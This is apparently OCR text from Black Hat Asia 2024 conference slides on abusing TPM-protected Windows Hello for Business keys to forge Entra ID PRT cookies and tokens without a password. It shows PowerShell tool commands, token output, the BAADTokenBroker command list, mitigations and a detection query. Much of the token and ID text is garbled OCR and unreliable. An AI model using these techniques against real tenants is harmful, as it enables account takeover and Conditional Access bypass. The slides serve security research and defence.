“grant_type”: “urn:ietf:params: oauth:grant-type: jwt-bearer”

W-000gN7VQ IM63HKuDNbKqY4J-pGvzgJysdXCSqabTUozLbaXVppSvtVT299Xal TyXGMOCKHne 1 XHNef xyXx-NSOXkPwRJIH7tA03G4tbuoCIn | 2g0Ka8hg JNGERNWF_kSHhaDHv
AUBA4AMOOJLOyOgPp | fO9nz-KkNxfMtDGeu91B1XaSMjgrckAlpmZOxSqAFMwXgm87PR1C808NQAsLB7BszdIwcv68S30 1 T7ZwFhwOcYoV3mGiNrVQ&grant_type=
urn%3Aietf43Aparams%3Aoauth%3Agrant-type%3A jwt-bearer|
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Combining all together with WHfB

Interacting with all the secret keys, we can authenticate to Entra ID

with WHIfB keys and create PRT Cookie without password

v AVYE 707b - powershell X + | v

PS C:\> Create-PRTCookie employee0l@ .com
eyJhbGci0iJIUzIINiIsImtkZ192ZXIi0jIsImNOeCI6InIvbOtkVWVsYOhnODVremNgV2wzQUxwb2Zub®VgR3VaIn®. ewOKICAgICIUX2NsaWVudFOwbGFO
Zm9ybSI6ICAiLd21uZG93cyIsDQogICAgIndpbl92ZXIi0iAgI jEwL jJAUMTKkwNDEUMzU3MCIsDQogICAgInJIlZnJIlc2hfdGOrZWUi0iAgI jAuQVQWQTdtULFa

YWdPTHJ2aFgOSGE2VVVqQNDZPb3RLWHFVX1JImZGFTZyIsDQogICAgImlzX3ByaWlhcnkiOiAgInRydWUiLAOKICAgICIYyZXF1ZXNOX25vbmNlI jogICIBdOFC
QUFFQUFBQUNBT3pfQLFEMF8OWUSXSKNUd3dHMylvdzNUdUS3eEsxcHVpZ2pQb2xBNDd3eHZ1RO13NW1CYmNhQmJPRnhzSVdSMTU3UHRmQzJoZ LpTakV3Nuud
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Combining all together with WHfB

* Access token received by WHfB has deviceid and mfa claims

] IVVF 70U7h - powershell X A = O X

| PS C:\> Acquire-Token employee0l@ . urn:ms—drs:enterpriseregistra

| tion.windows.net 29d9ed98-al69-U536-ade2-f981bcld605e

PS C:\> .access_token
eyJOeXA101JKV1Q1LCJhch101JSUzI1N11sIng1dCI6IlhSdmtvOFA3QTNVYVdTb1U3Yk05lewTWpoQSIsImthCI6IlhSdmtvOFA3QTNVYVdTb1U3Yk05

lewTWpoQSJ9 ethdWQlolJlCle6bXMtZHJZOmVudGVyCHJpC2VyZdeC3R XRnh . X0 nc3IMi01.]JadHR 0 NQ 3 th3d
“amr”: [

Lo

i e

mta

L e

I,
“appid”: "29d9ed98-ad69-4536-ade2-f981bc1d605e

“appidacr”: “0° |
“deviceid”: “000f17ch-d612-40d0-9605-e560804a41b8"]

WS38Ka71BoiI8mkIkkm2X1oetgMnbVcENK]lb7-duRIUPsXEbR-TODCtUmYt_roGGhXKUPpQNDL99Q3YqjGYpBMF7q-KkknB5M3IJSMrBZnlyE01Q2dDKIWSu
0s02fMuCBAXRy jURIRTKLhTbNHL0o2QLdC7LfE_NSa_rsMZyrjK1QV5VjRdCLj2zXUS3alqTrfBYWQEXTmSw
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Attack TL:DR #2

» Attackers can create PRT Cookie or acquire app tokens through
WHIfB keys without password

» Allows attackers to bypass Conditional Access policy based on
device and MFA

* Needs to compromise other WHfB configured device for

switching accounts
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BAADTokenBroker

* PowerShell-based script for leveraging TPM stored keys to

bypass Microsoft Entra ID Conditional Access

Commands Description

Request-PRTCookie Request PRT Cookie of logged on user directly talking to Isass

Create-PRTCookie Create PRT Cookie of any user with their credentials or WHfB keys

Acquire access tokens and refresh tokens of any user with their

Acquire-Token credentials or WHfB keys



https://github.com/secureworks/BAADTokenBroker
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Mitigation



t

black hat
ASIA 2024

Prevention

* Microsoft has responded this attack as an expected behavior
» Strongly recommends to require MFA for all users with
Conditional Access, not only require corporate device

* This helps to make it harder for attackers to move laterally

between accounts with just passwords
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Detection

* Monitor suspicious RPC activity and cryptngc function calls
* |nvestigate Entra ID sign-in logs of multiple accounts from the

same device

SigninLogs
where DeviceDetail.deviceld == “<suspicious _deviceid>*

where ResultType ==

where AppId == “29d9ed98-a469-4536-ade2-1981bcld605e” // Broker Appld
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Conclusion
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Black Hat Asia Sound Bytes

« RPC calls and undocumented APIs allow attackers to interact

with keys securely protected by TPM
 TPM stored keys can be abused for bypassing Entra ID
Conditional Access once your corporate device Is compromised
* Review your Conditional Access policies to make it harder for

attackers to pivot to the cloud and monitor suspicious activities
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Reference


https://learn.microsoft.com/en-us/entra/identity/devices/concept-primary-refresh-token
https://learn.microsoft.com/en-us/windows/security/identity-protection/hello-for-business/how-it-works-authentication
https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30
https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30
https://aadinternals.com/post/deviceidentity/
https://github.com/gentilkiwi/mimikatz
https://github.com/dirkjanm/ROADtools
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